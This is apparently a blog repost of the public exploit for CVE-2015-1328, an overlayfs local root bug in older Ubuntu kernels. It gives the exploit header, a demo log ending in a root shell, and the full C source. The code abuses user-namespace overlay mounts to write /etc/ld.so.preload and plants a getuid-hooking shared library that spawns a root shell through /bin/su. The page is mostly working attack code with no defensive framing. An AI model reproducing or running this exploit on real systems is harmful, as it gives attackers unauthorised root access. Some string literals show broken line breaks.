• CVE-2015-1328(本地提权漏洞)


    /*
    # Exploit Title: ofs.c - overlayfs local root in ubuntu
    # Date: 2015-06-15
    # Exploit Author: rebel
    # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
    # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
    # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
    
    *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
    CVE-2015-1328 / ofs.c
    overlayfs incorrect permission handling + FS_USERNS_MOUNT
    
    user@ubuntu-server-1504:~$ uname -a
    Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
    user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
    user@ubuntu-server-1504:~$ id
    uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
    user@ubuntu-server-1504:~$ ./ofs
    spawning threads
    mount #1
    mount #2
    child threads done
    /etc/ld.so.preload created
    creating shared library
    # id
    uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
    
    greets to beist & kaliman
    2015-05-24
    %rebel%
    *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sched.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/mount.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sched.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/mount.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <fcntl.h>
    #include <string.h>
    #include <linux/sched.h>
    
    #define LIB "#include <unistd.h>
    
    uid_t(*_real_getuid) (void);
    char path[128];
    
    uid_t
    getuid(void)
    {
    _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
    readlink("/proc/self/exe", (char *) &path, 128);
    if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
    unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    execle("/bin/sh", "sh", "-i", NULL, NULL);
    }
     return _real_getuid();
    }
    "
    
    static char child_stack[1024*1024];
    
    static int
    child_exec(void *stuff)
    {
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);
    
    fprintf(stderr,"mount #1
    ");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
    // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
    if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
    fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel
    ");
    exit(-1);
    }
    file = ".access";
    chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";
    
    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");
    
    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2
    ");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
    if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
    exit(-1);
    }
    chmod("/tmp/ns_sploit/work/work",0777);
    }
    
    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
    }
    
    int
    main(int argc, char **argv)
    {
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;
    
    fprintf(stderr,"spawning threads
    ");
    
    if((wrapper = fork()) == 0) {
    if(unshare(CLONE_NEWUSER) != 0)
    fprintf(stderr, "failed to create new user namespace
    ");
    
    if((init = fork()) == 0) {
    pid_t pid =
    clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
    if(pid < 0) {
    fprintf(stderr, "failed to create new mount namespace
    ");
    exit(-1);
    }
    
    waitpid(pid, &status, 0);
    
    }
    
    waitpid(init, &status, 0);
    return 0;
    }
    
    usleep(300000);
    
    wait(NULL);
    
    fprintf(stderr,"child threads done
    ");
    
    fd = open("/etc/ld.so.preload",O_WRONLY);
    
    if(fd == -1) {
    fprintf(stderr,"exploit failed
    ");
    exit(-1);
    }
    
    fprintf(stderr,"/etc/ld.so.preload created
    ");
    fprintf(stderr,"creating shared library
    ");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
    fprintf(stderr,"couldn't create dynamic library
    ");
    exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so
    ",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
    }
  • 相关阅读:
    NVIDIA驱动瘫痪再重装的问题
    ubuntu 14.04下NVIDIA驱动及cuda toolkit安装
    ubuntu下sogou输入法的输入框只显示英文不显示中文的解决方法
    ubuntu14.04下安装opencv3.2
    ubuntu14.04 卸载 boost
    编译错误: /usr/lib may be hidden by files in /home/username/anaconda/lib
    爬虫抓取网页内容
    学生手册成绩分析以学院为单位进行划分
    VisualSVN 设置SVN客户端必须填写日志才能提交
    Linux系统上java应用(例如spring boot)启动慢的原因之一
  • 原文地址:https://www.cnblogs.com/sevck/p/5258125.html
Copyright © 2020-2023  润新知